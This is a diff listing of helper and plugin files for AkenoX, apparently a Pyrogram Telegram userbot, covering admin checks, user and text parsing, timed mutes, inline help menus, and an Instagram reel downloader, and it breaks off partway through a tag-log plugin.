|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
from pyrogram import Client, enums
|
| 2 |
+
from pyrogram.types import Message, User
|
| 3 |
+
|
| 4 |
+
|
| 5 |
+
async def get_ub_chats(
|
| 6 |
+
client: Client,
|
| 7 |
+
chat_types: list = [
|
| 8 |
+
enums.ChatType.GROUP,
|
| 9 |
+
enums.ChatType.SUPERGROUP,
|
| 10 |
+
enums.ChatType.CHANNEL,
|
| 11 |
+
],
|
| 12 |
+
is_id_only=True,
|
| 13 |
+
):
|
| 14 |
+
ub_chats = []
|
| 15 |
+
async for dialog in client.get_dialogs():
|
| 16 |
+
if dialog.chat.type in chat_types:
|
| 17 |
+
if is_id_only:
|
| 18 |
+
ub_chats.append(dialog.chat.id)
|
| 19 |
+
else:
|
| 20 |
+
ub_chats.append(dialog.chat)
|
| 21 |
+
else:
|
| 22 |
+
continue
|
| 23 |
+
return ub_chats
|
| 24 |
+
|
| 25 |
+
def ReplyCheck(message: Message):
|
| 26 |
+
reply_id = None
|
| 27 |
+
|
| 28 |
+
if message.reply_to_message:
|
| 29 |
+
reply_id = message.reply_to_message.id
|
| 30 |
+
|
| 31 |
+
elif not message.from_user.is_self:
|
| 32 |
+
reply_id = message.id
|
| 33 |
+
|
| 34 |
+
return reply_id
|
| 35 |
+
|
| 36 |
+
|
| 37 |
+
def SpeedConvert(size):
|
| 38 |
+
power = 2 ** 10
|
| 39 |
+
zero = 0
|
| 40 |
+
units = {0: "", 1: "Kbit/s", 2: "Mbit/s", 3: "Gbit/s", 4: "Tbit/s"}
|
| 41 |
+
while size > power:
|
| 42 |
+
size /= power
|
| 43 |
+
zero += 1
|
| 44 |
+
return f"{round(size, 2)} {units[zero]}"
|
| 45 |
+
|
| 46 |
+
|
| 47 |
+
def GetFromUserID(message: Message):
|
| 48 |
+
return message.from_user.id
|
| 49 |
+
|
| 50 |
+
|
| 51 |
+
def GetChatID(message: Message):
|
| 52 |
+
return message.chat.id
|
| 53 |
+
|
| 54 |
+
|
| 55 |
+
def GetUserMentionable(user: User):
|
| 56 |
+
if user.username:
|
| 57 |
+
username = "@{}".format(user.username)
|
| 58 |
+
else:
|
| 59 |
+
if user.last_name:
|
| 60 |
+
name_string = "{} {}".format(user.first_name, user.last_name)
|
| 61 |
+
else:
|
| 62 |
+
name_string = "{}".format(user.first_name)
|
| 63 |
+
|
| 64 |
+
username = "<a href='tg://user?id={}'>{}</a>".format(user.id, name_string)
|
| 65 |
+
|
| 66 |
+
return username
|
AkenoX/plugins/helper/__init__.py
ADDED
|
File without changes
|
AkenoX/plugins/helper/admin_helper.py
ADDED
|
@@ -0,0 +1,61 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import asyncio
|
| 2 |
+
from time import time
|
| 3 |
+
|
| 4 |
+
from pyrogram import Client
|
| 5 |
+
from pyrogram.types import Message
|
| 6 |
+
|
| 7 |
+
from AkenoX.plugins.helper.interval import IntervalHelper
|
| 8 |
+
|
| 9 |
+
|
| 10 |
+
async def CheckAdmin(message: Message):
|
| 11 |
+
"""Check if we are an admin."""
|
| 12 |
+
admin = "administrator"
|
| 13 |
+
creator = "creator"
|
| 14 |
+
ranks = [admin, creator]
|
| 15 |
+
|
| 16 |
+
SELF = await Client.get_chat_member(
|
| 17 |
+
chat_id=message.chat.id, user_id=message.from_user.id
|
| 18 |
+
)
|
| 19 |
+
|
| 20 |
+
if SELF.status not in ranks:
|
| 21 |
+
await message.edit("__I'm not Admin!__")
|
| 22 |
+
elif SELF.status is not admin or SELF.can_restrict_members:
|
| 23 |
+
return True
|
| 24 |
+
else:
|
| 25 |
+
await message.edit("__No Permissions to restrict Members__")
|
| 26 |
+
await asyncio.sleep(2)
|
| 27 |
+
await message.delete()
|
| 28 |
+
|
| 29 |
+
|
| 30 |
+
async def CheckReplyAdmin(message: Message):
|
| 31 |
+
"""Check if the message is a reply to another user."""
|
| 32 |
+
if not message.reply_to_message:
|
| 33 |
+
await message.edit("The command needs to be a reply")
|
| 34 |
+
await asyncio.sleep(2)
|
| 35 |
+
await message.delete()
|
| 36 |
+
elif message.reply_to_message.from_user.is_self:
|
| 37 |
+
await message.edit(f"I can't {message.command[0]} myself.")
|
| 38 |
+
await asyncio.sleep(2)
|
| 39 |
+
await message.delete()
|
| 40 |
+
else:
|
| 41 |
+
return True
|
| 42 |
+
|
| 43 |
+
return False
|
| 44 |
+
|
| 45 |
+
|
| 46 |
+
async def Timer(message: Message):
|
| 47 |
+
if len(message.command) <= 1:
|
| 48 |
+
return 0
|
| 49 |
+
secs = IntervalHelper(message.command[1])
|
| 50 |
+
return int(str(time()).split(".")[0] + secs.to_secs()[0])
|
| 51 |
+
|
| 52 |
+
|
| 53 |
+
async def TimerString(message: Message):
|
| 54 |
+
secs = IntervalHelper(message.command[1])
|
| 55 |
+
return f"{secs.to_secs()[1]} {secs.to_secs()[2]}"
|
| 56 |
+
|
| 57 |
+
|
| 58 |
+
async def RestrictFailed(message: Message):
|
| 59 |
+
await message.edit(f"I can't {message.command} this user.")
|
| 60 |
+
await asyncio.sleep(2)
|
| 61 |
+
await message.delete()
|
AkenoX/plugins/helper/basic.py
ADDED
|
@@ -0,0 +1,55 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
from pyrogram.types import Message
|
| 2 |
+
|
| 3 |
+
|
| 4 |
+
def get_user(message: Message, text: str) -> [int, str, None]:
|
| 5 |
+
"""Get User From Message"""
|
| 6 |
+
if text is None:
|
| 7 |
+
asplit = None
|
| 8 |
+
else:
|
| 9 |
+
asplit = text.split(" ", 1)
|
| 10 |
+
user_s = None
|
| 11 |
+
reason_ = None
|
| 12 |
+
if message.reply_to_message:
|
| 13 |
+
user_s = message.reply_to_message.from_user.id
|
| 14 |
+
reason_ = text if text else None
|
| 15 |
+
elif asplit is None:
|
| 16 |
+
return None, None
|
| 17 |
+
elif len(asplit[0]) > 0:
|
| 18 |
+
if message.entities:
|
| 19 |
+
if len(message.entities) == 1:
|
| 20 |
+
required_entity = message.entities[0]
|
| 21 |
+
if required_entity.type == "text_mention":
|
| 22 |
+
user_s = int(required_entity.user.id)
|
| 23 |
+
else:
|
| 24 |
+
user_s = int(asplit[0]) if asplit[0].isdigit() else asplit[0]
|
| 25 |
+
else:
|
| 26 |
+
user_s = int(asplit[0]) if asplit[0].isdigit() else asplit[0]
|
| 27 |
+
if len(asplit) == 2:
|
| 28 |
+
reason_ = asplit[1]
|
| 29 |
+
return user_s, reason_
|
| 30 |
+
|
| 31 |
+
|
| 32 |
+
def get_text(message: Message) -> [None, str]:
|
| 33 |
+
"""Extract Text From Commands"""
|
| 34 |
+
text_to_return = message.text
|
| 35 |
+
if message.text is None:
|
| 36 |
+
return None
|
| 37 |
+
if " " in text_to_return:
|
| 38 |
+
try:
|
| 39 |
+
return message.text.split(None, 1)[1]
|
| 40 |
+
except IndexError:
|
| 41 |
+
return None
|
| 42 |
+
else:
|
| 43 |
+
return None
|
| 44 |
+
|
| 45 |
+
|
| 46 |
+
async def edit_or_reply(message: Message, *args, **kwargs) -> Message:
|
| 47 |
+
apa = (
|
| 48 |
+
message.edit_text
|
| 49 |
+
if bool(message.from_user and message.from_user.is_self or message.outgoing)
|
| 50 |
+
else (message.reply_to_message or message).reply_text
|
| 51 |
+
)
|
| 52 |
+
return await apa(*args, **kwargs)
|
| 53 |
+
|
| 54 |
+
|
| 55 |
+
eor = edit_or_reply
|
AkenoX/plugins/helper/custom.py
ADDED
|
@@ -0,0 +1,68 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import asyncio
|
| 2 |
+
from datetime import timedelta
|
| 3 |
+
|
| 4 |
+
from pyrogram.errors import RPCError
|
| 5 |
+
|
| 6 |
+
from AkenoX import *
|
| 7 |
+
|
| 8 |
+
|
| 9 |
+
async def temporary_mute_user(client, message):
|
| 10 |
+
try:
|
| 11 |
+
args = message.text.split()
|
| 12 |
+
if len(args) < 2:
|
| 13 |
+
return await message.reply_text("Usage: `tmute [reply] <time>`\nExample: `tmute 10m`")
|
| 14 |
+
|
| 15 |
+
if not message.reply_to_message:
|
| 16 |
+
return await message.reply_text("Reply to a user to mute them temporarily.")
|
| 17 |
+
|
| 18 |
+
duration = args[1]
|
| 19 |
+
time_units = {"s": 1, "m": 60, "h": 3600, "d": 86400}
|
| 20 |
+
time_value = int(duration[:-1]) if duration[:-1].isdigit() else None
|
| 21 |
+
time_multiplier = time_units.get(duration[-1])
|
| 22 |
+
|
| 23 |
+
if time_value is None or time_multiplier is None:
|
| 24 |
+
return await message.reply_text("Invalid time format! Use: `10s`, `5m`, `2h`, `1d`.")
|
| 25 |
+
|
| 26 |
+
mute_time = time_value * time_multiplier
|
| 27 |
+
|
| 28 |
+
user_id = message.reply_to_message.from_user.id
|
| 29 |
+
chat_id = message.chat.id
|
| 30 |
+
await client.restrict_chat_member(chat_id, user_id, permissions=pyrogram.types.ChatPermissions())
|
| 31 |
+
|
| 32 |
+
await message.reply_text(f"Muted user `{user_id}` for {duration}.")
|
| 33 |
+
|
| 34 |
+
await asyncio.sleep(mute_time)
|
| 35 |
+
|
| 36 |
+
await client.restrict_chat_member(chat_id, user_id, permissions=pyrogram.types.ChatPermissions(can_send_messages=True))
|
| 37 |
+
await message.reply_text(f"User `{user_id}` has been unmuted after {duration}.")
|
| 38 |
+
|
| 39 |
+
except RPCError as e:
|
| 40 |
+
await message.reply_text(f"Error: {e}")
|
| 41 |
+
|
| 42 |
+
async def get_user_info(client, message):
|
| 43 |
+
"""Fetch necessary user details from a replied message or username/user ID."""
|
| 44 |
+
try:
|
| 45 |
+
if message.reply_to_message:
|
| 46 |
+
user = message.reply_to_message.from_user
|
| 47 |
+
else:
|
| 48 |
+
args = message.text.split()
|
| 49 |
+
if len(args) < 2:
|
| 50 |
+
return await message.reply_text("Reply to a user or provide their username/user ID.")
|
| 51 |
+
|
| 52 |
+
user_input = args[1]
|
| 53 |
+
user = await client.get_users(user_input)
|
| 54 |
+
|
| 55 |
+
user_id = user.id
|
| 56 |
+
username = f"@{user.username}" if user.username else "No Username"
|
| 57 |
+
first_name = user.first_name if user.first_name else "No Name"
|
| 58 |
+
mention = f"[{first_name}](tg://user?id={user_id})"
|
| 59 |
+
|
| 60 |
+
return {
|
| 61 |
+
"user_id": user_id,
|
| 62 |
+
"username": username,
|
| 63 |
+
"first_name": first_name,
|
| 64 |
+
"mention": mention
|
| 65 |
+
}
|
| 66 |
+
except Exception as e:
|
| 67 |
+
await message.reply_text(f"Error fetching user info: {e}")
|
| 68 |
+
return None
|
AkenoX/plugins/helper/data.py
ADDED
|
@@ -0,0 +1,12 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
from pyrogram.types import InlineKeyboardButton, WebAppInfo
|
| 2 |
+
|
| 3 |
+
|
| 4 |
+
class Data:
|
| 5 |
+
text_help_menu = (
|
| 6 |
+
"**Command List & Help**"
|
| 7 |
+
.replace(",", "")
|
| 8 |
+
.replace("[", "")
|
| 9 |
+
.replace("]", "")
|
| 10 |
+
.replace("'", "")
|
| 11 |
+
)
|
| 12 |
+
reopen = [[InlineKeyboardButton("Re-Open", callback_data="reopen")]]
|
AkenoX/plugins/helper/inline.py
ADDED
|
@@ -0,0 +1,102 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
from math import ceil
|
| 2 |
+
from traceback import format_exc
|
| 3 |
+
|
| 4 |
+
from pyrogram.errors import MessageNotModified
|
| 5 |
+
from pyrogram.types import *
|
| 6 |
+
|
| 7 |
+
from AkenoX import ids as list_users
|
| 8 |
+
|
| 9 |
+
looters = None
|
| 10 |
+
|
| 11 |
+
|
| 12 |
+
def paginate_help(page_number, loaded_modules, prefix):
|
| 13 |
+
number_of_rows = 5
|
| 14 |
+
number_of_cols = 3
|
| 15 |
+
global looters
|
| 16 |
+
looters = page_number
|
| 17 |
+
helpable_modules = [p for p in loaded_modules if not p.startswith("_")]
|
| 18 |
+
helpable_modules = sorted(helpable_modules)
|
| 19 |
+
modules = [
|
| 20 |
+
InlineKeyboardButton(
|
| 21 |
+
text="{}".format(x),
|
| 22 |
+
callback_data=f"ub_modul_{x}",
|
| 23 |
+
)
|
| 24 |
+
for x in helpable_modules
|
| 25 |
+
]
|
| 26 |
+
pairs = list(zip(modules[::number_of_cols], modules[1::number_of_cols]))
|
| 27 |
+
if len(modules) % number_of_cols == 1:
|
| 28 |
+
pairs.append((modules[-1],))
|
| 29 |
+
max_num_pages = ceil(len(pairs) / number_of_rows)
|
| 30 |
+
modulo_page = page_number % max_num_pages
|
| 31 |
+
if len(pairs) > number_of_rows:
|
| 32 |
+
pairs = pairs[
|
| 33 |
+
modulo_page * number_of_rows : number_of_rows * (modulo_page + 1)
|
| 34 |
+
] + [
|
| 35 |
+
(
|
| 36 |
+
InlineKeyboardButton(
|
| 37 |
+
text="《",
|
| 38 |
+
callback_data=f"{prefix}_prev({modulo_page})"
|
| 39 |
+
),
|
| 40 |
+
InlineKeyboardButton(
|
| 41 |
+
text="》",
|
| 42 |
+
callback_data=f"{prefix}_next({modulo_page})"
|
| 43 |
+
),
|
| 44 |
+
)
|
| 45 |
+
]
|
| 46 |
+
return pairs
|
| 47 |
+
|
| 48 |
+
|
| 49 |
+
def cb_wrapper(func):
|
| 50 |
+
async def wrapper(client, cb):
|
| 51 |
+
user_id = cb.from_user.id
|
| 52 |
+
users = list_users
|
| 53 |
+
if user_id not in users:
|
| 54 |
+
await cb.answer(
|
| 55 |
+
"gak bisa developer!",
|
| 56 |
+
cache_time=0,
|
| 57 |
+
show_alert=True,
|
| 58 |
+
)
|
| 59 |
+
else:
|
| 60 |
+
try:
|
| 61 |
+
await func(client, cb)
|
| 62 |
+
except MessageNotModified:
|
| 63 |
+
await cb.answer("LU GOBLOK")
|
| 64 |
+
except Exception:
|
| 65 |
+
print(format_exc())
|
| 66 |
+
await cb.answer(
|
| 67 |
+
f"Oh No, SomeThing Isn't Right. Please Check Logs!",
|
| 68 |
+
cache_time=0,
|
| 69 |
+
show_alert=True,
|
| 70 |
+
)
|
| 71 |
+
|
| 72 |
+
return wrapper
|
| 73 |
+
|
| 74 |
+
ok_inline_text = """
|
| 75 |
+
**AkenoX-Inline** is an ultra-fast bot optimized for inline 🚀
|
| 76 |
+
"""
|
| 77 |
+
|
| 78 |
+
def inline_wrapper(func):
|
| 79 |
+
async def wrapper(client, inline_query):
|
| 80 |
+
users = list_users
|
| 81 |
+
bttn = [
|
| 82 |
+
[InlineKeyboardButton("🗿 Source code", url=f"https://github.com/TeamKillerX/AkenoX-Inline/")]
|
| 83 |
+
]
|
| 84 |
+
if inline_query.from_user.id not in users:
|
| 85 |
+
await client.answer_inline_query(
|
| 86 |
+
inline_query.id,
|
| 87 |
+
cache_time=1,
|
| 88 |
+
results=[
|
| 89 |
+
(
|
| 90 |
+
InlineQueryResultArticle(
|
| 91 |
+
title="Sorry, You can get source code here",
|
| 92 |
+
input_message_content=InputTextMessageContent(
|
| 93 |
+
ok_inline_text
|
| 94 |
+
),
|
| 95 |
+
reply_markup=InlineKeyboardMarkup(bttn)
|
| 96 |
+
)
|
| 97 |
+
)
|
| 98 |
+
],
|
| 99 |
+
)
|
| 100 |
+
else:
|
| 101 |
+
await func(client, inline_query)
|
| 102 |
+
return wrapper
|
AkenoX/plugins/helper/interval.py
ADDED
|
@@ -0,0 +1,37 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import re
|
| 2 |
+
|
| 3 |
+
|
| 4 |
+
class IntervalHelper:
|
| 5 |
+
class IntervalError(Exception):
|
| 6 |
+
pass
|
| 7 |
+
|
| 8 |
+
interval_re = re.compile(r"^(\d+)(w|d|h|m)?$")
|
| 9 |
+
|
| 10 |
+
def __init__(self, _interval):
|
| 11 |
+
self._interval = _interval
|
| 12 |
+
if not self.interval_ok():
|
| 13 |
+
raise Exception("Invalid interval format.")
|
| 14 |
+
|
| 15 |
+
def interval_ok(self):
|
| 16 |
+
if IntervalHelper.interval_re.match(self._interval):
|
| 17 |
+
return True
|
| 18 |
+
return False
|
| 19 |
+
|
| 20 |
+
def to_secs(self):
|
| 21 |
+
m = IntervalHelper.interval_re.match(self._interval)
|
| 22 |
+
num, unit = m.groups()
|
| 23 |
+
num = int(num)
|
| 24 |
+
|
| 25 |
+
if not unit:
|
| 26 |
+
unit = "m"
|
| 27 |
+
|
| 28 |
+
if unit == "m":
|
| 29 |
+
return [num * 60, num, "minute" if num == 1 else "minutes"]
|
| 30 |
+
elif unit == "h":
|
| 31 |
+
return [num * 60 * 60, num, "hour" if num == 1 else "hours"]
|
| 32 |
+
elif unit == "d":
|
| 33 |
+
return [num * 60 * 60 * 24, num, "day" if num == 1 else "days"]
|
| 34 |
+
elif unit == "w":
|
| 35 |
+
return [num * 60 * 60 * 24 * 7, num, "week" if num == 1 else "weeks"]
|
| 36 |
+
|
| 37 |
+
interval = property(lambda self: self._interval)
|
AkenoX/plugins/insta.py
ADDED
|
@@ -0,0 +1,44 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
from urllib.parse import quote
|
| 2 |
+
import aiohttp
|
| 3 |
+
from pyrogram.enums import ChatAction, ParseMode
|
| 4 |
+
from AkenoX import *
|
| 5 |
+
from config import api_key
|
| 6 |
+
|
| 7 |
+
# Function to fetch Instagram reel video URL
|
| 8 |
+
async def fetch_instagram_reel(video_url):
|
| 9 |
+
encoded_url = quote(video_url) # Encode the URL properly
|
| 10 |
+
api_url = f"https://randydev-ryu-js.hf.space/api/v1/dl/instagram-v4?url={encoded_url}"
|
| 11 |
+
headers = {"x-api-key": api_key}
|
| 12 |
+
|
| 13 |
+
async with aiohttp.ClientSession() as session:
|
| 14 |
+
async with session.get(api_url, headers=headers) as response:
|
| 15 |
+
if response.status == 200:
|
| 16 |
+
data = await response.json()
|
| 17 |
+
if data.get("results") and data["results"].get("results"):
|
| 18 |
+
return data["results"]["results"][0]["variants"][0]["url"]
|
| 19 |
+
return None
|
| 20 |
+
|
| 21 |
+
# Command handler
|
| 22 |
+
@RENDYDEV.user(prefix=["ig"], filters=(filters.me & ~filters.forwarded))
|
| 23 |
+
async def insta_download_command(client, message):
|
| 24 |
+
chat_id = message.chat.id
|
| 25 |
+
await message.reply_chat_action(ChatAction.UPLOAD_VIDEO)
|
| 26 |
+
|
| 27 |
+
if len(message.command) < 2:
|
| 28 |
+
await message.reply_text("Exᴀᴍᴘʟᴇ ᴜsᴀɢᴇ: ig [Instagram Reel URL]", parse_mode=ParseMode.HTML)
|
| 29 |
+
return
|
| 30 |
+
|
| 31 |
+
video_url = message.command[1] # Extract the Instagram reel URL
|
| 32 |
+
download_url = await fetch_instagram_reel(video_url)
|
| 33 |
+
|
| 34 |
+
if download_url:
|
| 35 |
+
await message.reply_video(video=download_url, caption="Here is your Instagram reel ")
|
| 36 |
+
else:
|
| 37 |
+
await message.reply_text("❌ Failed to fetch the Instagram reel. Please check the URL and try again.")
|
| 38 |
+
|
| 39 |
+
# Adding the command to the bot's button panel
|
| 40 |
+
RENDYDEV.buttons(
|
| 41 |
+
"instagram", [
|
| 42 |
+
["ig [Instagram Reel URL]", "Download an Instagram reel video."],
|
| 43 |
+
],
|
| 44 |
+
)
|
AkenoX/plugins/libso/__init__.py
ADDED
|
File without changes
|
AkenoX/plugins/logspam.py
ADDED
|
@@ -0,0 +1,194 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python
|
| 2 |
+
# -*- coding: utf-8 -*-
|
| 3 |
+
# Credits @xpushz on telegram
|
| 4 |
+
# Copyright 2020-2024 (c) Randy W @xtdevs, @xtsea on telegram
|
| 5 |
+
#
|
| 6 |
+
# from : https://github.com/TeamKillerX
|
| 7 |
+
# Channel : @RendyProjects
|
| 8 |
+
# This program is free software: you can redistribute it and/or modify
|
| 9 |
+
# it under the terms of the GNU Affero General Public License as published by
|
| 10 |
+
# the Free Software Foundation, either version 3 of the License, or
|
| 11 |
+
# (at your option) any later version.
|
| 12 |
+
|
| 13 |
+
# This program is distributed in the hope that it will be useful,
|
| 14 |
+
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
| 15 |
+
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
| 16 |
+
# GNU Affero General Public License for more details.
|
| 17 |
+
#
|
| 18 |
+
# You should have received a copy of the GNU Affero General Public License
|
| 19 |
+
# along with this program. If not, see <https://www.gnu.org/licenses/>.
|
| 20 |
+
|
| 21 |
+
import asyncio
|
| 22 |
+
|
| 23 |
+
from pyrogram import *
|
| 24 |
+
from pyrogram.enums import *
|
| 25 |
+
from pyrogram.types import *
|
| 26 |
+
|
| 27 |
+
from AkenoX import *
|
| 28 |
+
from AkenoX.core.database import *
|
| 29 |
+
from AkenoX.core.helper_button import *
|
| 30 |
+
from AkenoX.core.logger import LOGS
|
| 31 |
+
|
| 32 |
+
TAGLOG_KEY = "TAGLOG"
|
| 33 |
+
TAG_LINK_KEY = "TAG_LINK"
|
| 34 |
+
|
| 35 |
+
@RENDYDEV.user(
|
| 36 |
+
prefix=["taglog"],
|
| 37 |
+
filters=(
|
| 38 |
+
~filters.scheduled
|
| 39 |
+
& filters.me
|
| 40 |
+
& ~filters.forwarded
|
| 41 |
+
),
|
| 42 |
+
is_run=False
|
| 43 |
+
)
|
| 44 |
+
async def taglog_setting(_, message: Message):
|
| 45 |
+
if len(message.command) < 2:
|
| 46 |
+
status = await db_client.get_env(TAGLOG_KEY)
|
| 47 |
+
text = "Enabled" if status else "Disabled"
|
| 48 |
+
await message.reply_text(
|
| 49 |
+
f"**Current TagLog Setting:** `{text}`\n\nTo change the setting give either `on` or `off` as argument.",
|
| 50 |
+
)
|
| 51 |
+
return
|
| 52 |
+
|
| 53 |
+
cmd = message.command[1].lower().strip()
|
| 54 |
+
if cmd == "on":
|
| 55 |
+
await db_client.set_env(TAGLOG_KEY, True)
|
| 56 |
+
await message.reply_text("**TagLog Enabled!**")
|
| 57 |
+
elif cmd == "off":
|
| 58 |
+
await db_client.set_env(TAGLOG_KEY, False)
|
| 59 |
+
await message.reply_text("**TagLog Disabled!**")
|
| 60 |
+
else:
|
| 61 |
+
await message.reply_text("**Invalid Argument!**")
|
| 62 |
+
|
| 63 |
+
|
| 64 |
+
@RENDYDEV.user(is_log=True)
|
| 65 |
+
async def logs_channel(client, message):
|
| 66 |
+
if not await db_client.get_env(TAGLOG_KEY):
|
| 67 |
+
return
|
| 68 |
+
if message.reply_to_message and message.reply_to_message.from_user:
|
| 69 |
+
if message.reply_to_message.from_user.id != client.me.id:
|
| 70 |
+
return
|
